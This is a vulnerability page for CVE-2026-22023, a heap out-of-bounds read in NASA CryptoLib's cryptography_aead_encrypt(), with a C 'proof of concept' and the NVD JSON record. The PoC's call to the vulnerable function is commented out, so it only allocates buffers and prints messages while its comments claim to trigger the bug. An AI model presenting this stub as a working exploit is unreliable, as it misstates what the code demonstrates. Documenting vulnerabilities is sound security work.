CVE-2026-22023

// CVE-2026-22023 PoC - Heap Out-of-Bounds Read in CryptoLib cryptography_aead_encrypt() // This PoC demonstrates triggering the vulnerability with crafted AEAD input #include <stdio.h> #include <stdlib.h> #include <string.h> // Simulated vulnerable function signature typedef int (*cryptography_aead_encrypt_t)( const unsigned char* pt, size_t pt_len, const unsigned char* aad, size_t aad_len, const unsigned char* nonce, size_t nonce_len, const unsigned char* key, size_t key_len, unsigned char* ct, size_t* ct_len ); int trigger_vulnerability(size_t pt_len, size_t aad_len) { // Allocate buffers unsigned char* pt = (unsigned char*)malloc(pt_len); unsigned char* aad = (unsigned char*)malloc(aad_len); unsigned char nonce[12] = {0}; unsigned char key[32] = {0}; unsigned char ct[1024] = {0}; size_t ct_len = sizeof(ct); if (!pt || !aad) { printf("Memory allocation failed\n"); return -1; } // Fill with test data memset(pt, 0x41, pt_len); memset(aad, 0x42, aad_len); // Trigger the vulnerability by providing oversized input // The vulnerable function doesn't properly validate input bounds printf("Triggering CVE-2026-22023 with pt_len=%zu, aad_len=%zu\n", pt_len, aad_len); // In vulnerable version, this can cause heap out-of-bounds read // cryptography_aead_encrypt(pt, pt_len, aad, aad_len, nonce, 12, key, 32, ct, &ct_len); free(pt); free(aad); return 0; } int main() { printf("CVE-2026-22023 PoC - CryptoLib Heap OOB Read\n"); printf("Target: NASA CryptoLib < 1.4.3\n\n"); // Trigger with various input sizes to trigger the vulnerability trigger_vulnerability(64, 256); trigger_vulnerability(128, 512); printf("PoC execution completed\n"); return 0; }

{"cve": {"id": "CVE-2026-22023", "sourceIdentifier": "[email protected]", "published": "2026-01-10T01:16:18.410", "lastModified": "2026-01-16T16:45:11.670", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CryptoLib provides a software-only solution using the CCSDS Space Data Link Security Protocol - Extended Procedures (SDLS-EP) to secure communications between a spacecraft running the core Flight System (cFS) and a ground station. Prior to version 1.4.3, there is an out-of-bounds heap read vulnerability in cryptography_aead_encrypt(). This issue has been patched in version 1.4.3."}, {"lang": "es", "value": "CryptoLib proporciona una solución únicamente de software utilizando el Protocolo de Seguridad de Enlace de Datos Espaciales CCSDS - Procedimientos Extendidos (SDLS-EP) para asegurar las comunicaciones entre una nave espacial que ejecuta el Sistema de Vuelo central (cFS) y una estación terrestre. Antes de la versión 1.4.3, existe una vulnerabilidad de lectura de heap fuera de límites en cryptography_aead_encrypt(). Este problema ha sido parcheado en la versión 1.4.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nasa:cryptolib:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.4.3", "matchCriteriaId": "AE1BE91E-2901-42AF-BC66-762CFA7A2582"}]}]}], "references": [{"url": "https://github.com/nasa/CryptoLib/commit/2372efd3da1ccb226b4297222e25f41ecc84821d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nasa/CryptoLib/releases/tag/v1.4.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/nasa/CryptoLib/security/advisories/GHSA-8w3h-q8jm-3chq", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/nasa/CryptoLib/security/advisories/GHSA-8w3h-q8jm-3chq", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}